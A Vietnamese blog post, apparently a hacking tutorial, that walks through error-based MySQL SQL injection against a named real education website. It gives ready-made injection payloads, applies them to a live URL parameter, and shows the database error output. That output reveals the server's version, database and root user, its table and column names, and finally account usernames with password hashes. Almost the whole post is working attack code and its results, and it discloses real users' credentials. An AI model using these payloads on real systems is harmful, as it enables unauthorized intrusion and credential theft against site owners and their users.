Victim:
Mã:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Quote:
| - Lệnh get Database, User, Version:
Mã:
/*!And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/--
Mã:
/*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/--
Mã:
/*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=xxxxxxxxxxxxxx) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/--
Mã:
/*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(xxx,0x7c,xxx),1,145) FROM cdb_activities) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/--
|
Trên đây là các câu lệnh cần dùng để hack kiểu Quick Blind
Bắt đầu attack haiduong.edu.vn
Mã:
http://haiduong.edu.vn/haiduongedu/vn/portal/InfoDetail.jsp?area=1&cat=1724&ID=1053 /*!And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/--
Hiện lỗi:
Mã:
Duplicate entry '|5.5.10|haiduongedu|root@localhost1|' for key 'group_key'
Vậy ta đã có Version, Database, User của site haiduong.edu.vn
Tiếp theo ta sẽ khai thác tiếp tất cả Table của site này.
Mã:
http://haiduong.edu.vn/haiduongedu/vn/portal/InfoDetail.jsp?area=1&cat=1724&ID=1053 /*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/--
Mã:
Duplicate entry '|advertise,area,attach,attachtopic,banner,category,category4area' for key 'group_key'
Để lấy các table tiếp theo ta tăng giá trị 1 lên 50
Mã:
....substr(Group_concat(table_name),1,145....
Mã:
....substr(Group_concat(table_name),50,145....
Mã:
Duplicate entry '|,category4area,categoryarea,categorylinks,categorylu,forum,foru' for key 'group_key'
Cứ thế tăng lên 50 thành 100, 100 thành 150, 150 thành 200 (Có nghĩa là +50)
Đối với site haiduong.edu.vn là 450
Mã:
Duplicate entry '|gory,udata_field,udata_table,users,users_right,written1|' for key 'group_key'
Ta chú ý dấu | đó là dấu kết thúc, vậy table cuối cùng của site haiduong.edu.vn là "written1"
Tiếp tục lấy column của table user
Mã:
http://haiduong.edu.vn/haiduongedu/vn/portal/InfoDetail.jsp?area=1&cat=1724&ID=1053 /*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=CHAR(117, 115, 101, 114, 115)) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/--
Mã:
Duplicate entry '|ID,UserName,FullName,Password,Enabled,BirthDay,Address,Duty,Roo' for key 'group_key'
Mình đổi chuỗi users thành dạng CHAR(117, 115, 101, 114, 115).
Các bạn cũng đổi về dạng HEX cũng đc 0x7573657273
Muốn khai thác các column tiếp theo các bạn áp dụng theo cách lấy table là tăng giá trị 1 lên 50....100...150...
Mình sẽ lấy 2 column UserName và Password:
Mã:
http://haiduong.edu.vn/haiduongedu/vn/portal/InfoDetail.jsp?area=1&cat=1724&ID=1053 /*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(UserName,0x7c,Password),1,145) FROM users) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/--
Mã:
Duplicate entry '|nguyenvanquoc|bac6347999e3703d55c949ff20285869,hoangvandoat|48b' for key 'group_key'
Lấy các giá trị tiếp theo ta lại tăng 1 lên nhé.
No comments:
Post a Comment